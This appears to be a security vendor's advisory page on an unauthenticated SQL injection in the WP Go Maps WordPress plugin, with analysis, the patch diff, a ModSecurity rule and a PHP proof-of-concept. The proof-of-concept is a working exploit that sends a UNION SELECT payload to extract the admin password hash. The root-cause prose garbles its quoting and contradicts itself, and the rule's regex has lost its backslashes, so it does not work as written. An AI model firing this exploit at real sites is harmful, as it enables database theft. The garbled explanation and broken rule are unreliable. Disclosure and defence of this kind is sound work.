Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-132198: This is an unauthenticated SQL injection vulnerability in WP Go Maps (formerly WP Google Maps) versions up to and including 10.2.05. The flaw resides in the plugin’s optional ‘Enable Dynamic SQL Refactors’ feature, which hooks the WordPress ‘query’ filter to rewrite prepared SQL statements. When enabled on a MySQL server configured with NO_BACKSLASH_ESCAPES, the refactor function corrupts escaping added by wpdb::prepare(), allowing attackers to inject SQL through public-facing routes such as /geocode-cache. The CVSS score is 5.9 (Medium) because exploitation requires two non-default conditions: the setting must be enabled and the database must run in NO_BACKSLASH_ESCAPES mode. Atomic Edge research confirms the vulnerability class is CWE-89 (SQL Injection).
Root Cause: The root cause is the dynamicQueryRefactor() function registered in wp-google-maps/includes/class.plugin.php (originally around lines 1191-1205). On init, if $this->settings->enable_dynamic_sql_refac_filter is truthy, the plugin adds add_filter(‘query’, array($this, ‘dynamicQueryRefactor’), 99, 1). This filter receives the fully prepared SQL string just before execution. The function checks for ‘wpgmza’ in the SQL, then performs $sql = str_replace(“‘”, “””, $sql) and a specific REPLACE(map_width_type, …) rewrite. Under NO_BACKSLASH_ESCAPES, MySQL treats backslash as an ordinary character, so wpdb::prepare() escapes single quotes by doubling them only when the server mode demands it; however, the plugin’s str_replace targets escaped quotes and converts them to doubled quotes, which under NO_BACKSLASH_ESCAPES can terminate string literals prematurely. The ‘query’ parameter flows into a query that is later filtered, and the refactor undoes the safety of prepare(). The settings-page templates (wp-google-maps/html/settings-page.html.php, atlas-major/settings-page.html.php, atlas-novus/settings-page.html.php) expose the checkbox named enable_dynamic_sql_refac_filter, which administrators can enable.
Exploitation: An unauthenticated attacker sends a request to a public route that accepts the ‘query’ parameter, such as the geocode-cache endpoint (referenced in the patch comment as /geocode-cache). The attacker supplies a crafted ‘query’ value containing SQL metacharacters. Because the vulnerable code path only activates when the admin has enabled the setting and the DB uses NO_BACKSLASH_ESCAPES, the attacker must target sites matching those conditions. A typical payload would append UNION SELECT statements or boolean-based conditions to extract data from wp_users or other sensitive tables. No authentication or nonce is required for the geocode-cache route. Atomic Edge analysis notes that the injection point is the ‘query’ parameter, and the filter fires on the resulting SQL, so payloads must survive the plugin’s own str_replace transformations to reach the database intact.
Patch Analysis: Version 10.2.06 removes the feature entirely. In class.plugin.php, the add_filter(‘query’, …) call is commented out, and the dynamicQueryRefactor() method is commented out with a security note dated 2026-11-25. The settings templates wrap the ‘Enable Dynamic SQL Refactors’ UI in so the option is no longer rendered. This eliminates the unsafe SQL rewriting entirely. Before the patch, any site with the setting enabled ran every query through dynamicQueryRefactor(), which could break prepare() escaping under NO_BACKSLASH_ESCAPES. After the patch, the filter is never registered, so prepared statements reach MySQL unmodified, preserving the escaping performed by wpdb::prepare(). The patch also bumps the plugin version to 10.2.06 and documents the change in the changelog. Atomic Edge research assesses the fix as complete for this vector: removing the feature is safer than attempting to repair the rewrite logic.
Impact: Successful exploitation allows an unauthenticated attacker to read arbitrary data from the WordPress database, including user credentials (password hashes), session tokens, and other sensitive information. The CVSS 5.9 rating reflects the conditional prerequisites. On affected sites, the vulnerability enables full database confidentiality compromise. Integrity and availability impacts are limited because the injection is primarily used for data extraction, though stacked queries could modify data if the DB driver permits. Atomic Edge analysis emphasizes that sites with the setting enabled and NO_BACKSLASH_ESCAPES active are at immediate risk and should upgrade to 10.2.06 or later without delay.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-google-maps/html/atlas-major/settings-page.html.php
+++ b/wp-google-maps/html/atlas-major/settings-page.html.php
@@ -3261,15 +3261,16 @@
</div>
</div>
- <!-- Dynamic SQL Refactor -->
+ <!-- Dynamic SQL Refactor: removed 2026-11-25 for security (see class.plugin.php). Kept, not rendered. -->
+ <?php if(false): ?>
<div class="tab-row has-hint">
<div class="title"><?php esc_html_e("Enable Dynamic SQL Refactors", "wp-google-maps"); ?></div>
<div class="switch switch-inline">
<input name="enable_dynamic_sql_refac_filter"
id="enable_dynamic_sql_refac_filter"
- class="cmn-toggle cmn-toggle-round-flat"
+ class="cmn-toggle cmn-toggle-round-flat"
type="checkbox"/>
-
+
<label for="enable_dynamic_sql_refac_filter"></label>
<label for="enable_dynamic_sql_refac_filter">
<small>
@@ -3278,9 +3279,10 @@
?>
</small>
</label>
-
+
</div>
</div>
+ <?php endif; ?>
<!-- Anit Cache -->
<div class="tab-row has-hint">
--- a/wp-google-maps/html/atlas-novus/settings-page.html.php
+++ b/wp-google-maps/html/atlas-novus/settings-page.html.php
@@ -3201,15 +3201,16 @@
</div>
</div>
- <!-- Dynamic SQL Refactor -->
+ <!-- Dynamic SQL Refactor: removed 2026-11-25 for security (see class.plugin.php). Kept, not rendered. -->
+ <?php if(false): ?>
<div class="tab-row has-hint">
<div class="title"><?php esc_html_e("Enable Dynamic SQL Refactors", "wp-google-maps"); ?></div>
<div class="switch switch-inline">
<input name="enable_dynamic_sql_refac_filter"
id="enable_dynamic_sql_refac_filter"
- class="cmn-toggle cmn-toggle-round-flat"
+ class="cmn-toggle cmn-toggle-round-flat"
type="checkbox"/>
-
+
<label for="enable_dynamic_sql_refac_filter"></label>
<label for="enable_dynamic_sql_refac_filter">
<small>
@@ -3218,9 +3219,10 @@
?>
</small>
</label>
-
+
</div>
</div>
+ <?php endif; ?>
<!-- Anit Cache -->
<div class="tab-row has-hint">
--- a/wp-google-maps/html/settings-page.html.php
+++ b/wp-google-maps/html/settings-page.html.php
@@ -1652,19 +1652,22 @@
</fieldset>
+ <!-- Dynamic SQL Refactor: removed 2026-11-25 for security (see class.plugin.php). Kept, not rendered. -->
+ <?php if(false): ?>
<fieldset>
<legend><?php esc_html_e("Enable Dynamic SQL Refactors", "wp-google-maps"); ?></legend>
<label>
<input name="enable_dynamic_sql_refac_filter" type="checkbox"/>
-
+
<small>
<?php
esc_html_e("Use this setting if your marker/map lists are not loading, or no results are being returned throughout the system. Commonly recommend in situations where single quote queries are not allowed. (WP Engine Users)", "wp-google-maps");
?>
</small>
-
+
</label>
</fieldset>
+ <?php endif; ?>
<fieldset id="wpgmza-disable-automatic-backups" class="wpgmza-pro-feature">
<legend><?php esc_html_e("Disable Automatic Backups (beta)", "wp-google-maps"); ?></legend>
--- a/wp-google-maps/includes/class.plugin.php
+++ b/wp-google-maps/includes/class.plugin.php
@@ -233,10 +233,16 @@
}
}
- if(!empty($this->settings->enable_dynamic_sql_refac_filter)){
- /* The dynamic SQL refactor option has been enabled */
- add_filter('query', array($this, 'dynamicQueryRefactor'), 99, 1);
- }
+ /* SECURITY 2026-11-25: "Enable Dynamic SQL Refactors" is disabled. It registered dynamicQueryRefactor() on
+ * WordPress's 'query' filter, which rewrote already-prepared SQL. On a database server running in
+ * NO_BACKSLASH_ESCAPES mode that rewrite could undo prepare()'s escaping and allow unauthenticated SQL
+ * injection through public routes such as /geocode-cache (reported by Wordfence). The option solved no
+ * problem we could confirm in support history. Left commented out, with dynamicQueryRefactor() below, so the
+ * old behaviour stays on record. */
+ // if(!empty($this->settings->enable_dynamic_sql_refac_filter)){
+ // /* The dynamic SQL refactor option has been enabled */
+ // add_filter('query', array($this, 'dynamicQueryRefactor'), 99, 1);
+ // }
if(!empty($this->settings->enable_google_csp_headers) && !empty($this->settings->wpgmza_maps_engine) && $this->settings->wpgmza_maps_engine === 'google-maps'){
/* Load the Google CSP headers to the site */
@@ -1185,19 +1191,19 @@
*
* @return string
*/
- public function dynamicQueryRefactor($sql){
- if(strpos($sql, 'wpgmza') !== FALSE){
- /* This is a WPGMZA query */
- if(strpos($sql, "REPLACE(map_width_type, '\\', '')") !== FALSE){
- /* Specifically for map params, which is a big cause of the issue */
- $sql = str_replace("'\\'", "''", $sql);
- }
-
- /* General replacement statement */
- $sql = str_replace("'", "''", $sql);
- }
- return $sql;
- }
+ /* SECURITY 2026-11-25: disabled, no longer registered on the 'query' filter (see onInit above). Rewriting
+ * fully-prepared SQL is unsafe; left commented out for reference only. Do not re-enable without replacing it
+ * with a safe approach (set the connection sql_mode, or fix the specific query before prepare()).
+ // public function dynamicQueryRefactor($sql){
+ // if(strpos($sql, 'wpgmza') !== FALSE){
+ // if(strpos($sql, "REPLACE(map_width_type, '\\', '')") !== FALSE){
+ // $sql = str_replace("'\\'", "''", $sql);
+ // }
+ // $sql = str_replace("'", "''", $sql);
+ // }
+ // return $sql;
+ // }
+ */
/**
* Configures the temporary admin only key for first time usage
--- a/wp-google-maps/wpGoogleMaps.php
+++ b/wp-google-maps/wpGoogleMaps.php
@@ -3,7 +3,7 @@
Plugin Name: WP Go Maps (formerly WP Google Maps)
Plugin URI: https://www.wpgmaps.com
Description: The easiest to use Google Maps plugin! Create custom Google Maps or a map block with high quality markers containing locations, descriptions, images and links. Add your customized map to your WordPress posts and/or pages quickly and easily with the supplied shortcode. No fuss.
-Version: 10.2.05
+Version: 10.2.06
Author: WP Go Maps (formerly WP Google Maps)
Author URI: https://www.wpgmaps.com
Text Domain: wp-google-maps
@@ -14,6 +14,10 @@
/*
+ * 10.2.06 - 2026-11-25
+ * Security fix: removed the "Enable Dynamic SQL Refactors" option. On database servers configured in a particular way it could allow SQL injection, including through requests that need no login. The option is no longer available; most sites were unaffected as it was turned off by default. Reported by Wordfence.
+ * Fixed issue where the Atlas Major map editor's marker list showed an extra marker that could not be deleted (shown as "California") when Show User Location was turned on. It was never saved and visitors never saw it.
+ *
* 10.2.05 - 2026-11-24
* Fixed issue where KML and GeoRSS files stopped showing on Google Maps. Google removed KML layers from its newest Maps version in November 2026, so sites that have a KML or GeoRSS file on a map now load the last Google Maps version that still shows them. Google keeps that version available until May 2027.
* Fixed issue where an embedded video (or other embed) in a marker or shape description was removed when it was saved in the map editor. This now follows WordPress's own rule for post content: it is kept when saved by a user WordPress allows to save unfiltered HTML (administrators and editors, or super administrators on multisite). Descriptions from imports, scheduled imports and other users are still cleaned. Introduced in 10.2.00.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-132198
# WP Go Maps <= 10.2.05 unauthenticated SQL injection via the 'query' parameter on the public geocode-cache route.
# The rule targets the exact endpoint and looks for SQL metacharacters in the 'query' parameter.
# It does not block normal geocode queries (alphanumeric addresses).
SecRule REQUEST_URI "@rx ^/geocode-cache(?:/)?$"
"id:20261321,phase:2,deny,status:403,chain,msg:'CVE-2026-132198 WP Go Maps SQL injection via query parameter',severity:'CRITICAL',tag:'CVE-2026-132198',tag:'attack-sqli'"
SecRule ARGS:query "@rx (?:bUNIONb|bSELECTb|bFROMb|bWHEREb|--|/*|*/|'s*(?:OR|AND)s*'?d|bSLEEPs*(|bBENCHMARKs*()"
"t:urlDecodeUni,t:lowercase,t:removeComments,t:compressWhitespace"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-132198 - WP Go Maps <= 10.2.05 - Unauthenticated SQL Injection via 'query' Parameter
//
// WARNING: This PoC is for authorized security testing only. Do not use against systems you do not own.
//
// Prerequisites for a vulnerable target:
// 1. WP Go Maps <= 10.2.05 installed and active.
// 2. Admin has enabled 'Enable Dynamic SQL Refactors' (enable_dynamic_sql_refac_filter).
// 3. The database server runs with sql_mode containing NO_BACKSLASH_ESCAPES.
//
// The exploit targets the public geocode-cache route, which processes the 'query' parameter.
// The plugin's dynamicQueryRefactor() filter rewrites the prepared SQL and breaks escaping
// under NO_BACKSLASH_ESCAPES, allowing appended SQL statements.
$target_url = 'http://example.com'; // <-- set the target WordPress site URL
// Endpoint that accepts the 'query' parameter (public route referenced in the patch).
$endpoint = rtrim($target_url, '/') . '/geocode-cache';
// SQL injection payload. Adjust based on the exact query structure of the target.
// This payload attempts a UNION-based extraction of the admin password hash.
$payload = "test' UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -";
// Build the request: the 'query' parameter is the injection point.
$post_fields = http_build_query([
'query' => $payload,
]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/x-www-form-urlencoded',
'User-Agent: AtomicEdge-CVE-2026-132198-PoC',
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curl_error = curl_error($ch);
curl_close($ch);
if ($curl_error) {
fwrite(STDERR, "Request failed: {$curl_error}n");
exit(1);
}
echo "HTTP Status: {$http_code}n";
echo "Response body (first 2000 bytes):n";
echo substr($response, 0, 2000) . "n";
// A vulnerable target may return database-derived data in the response or exhibit timing differences.
// If the server returns an SQL error or leaked rows, the injection succeeded.
// Note: successful exploitation requires the admin setting and NO_BACKSLASH_ESCAPES; otherwise the payload is safely escaped.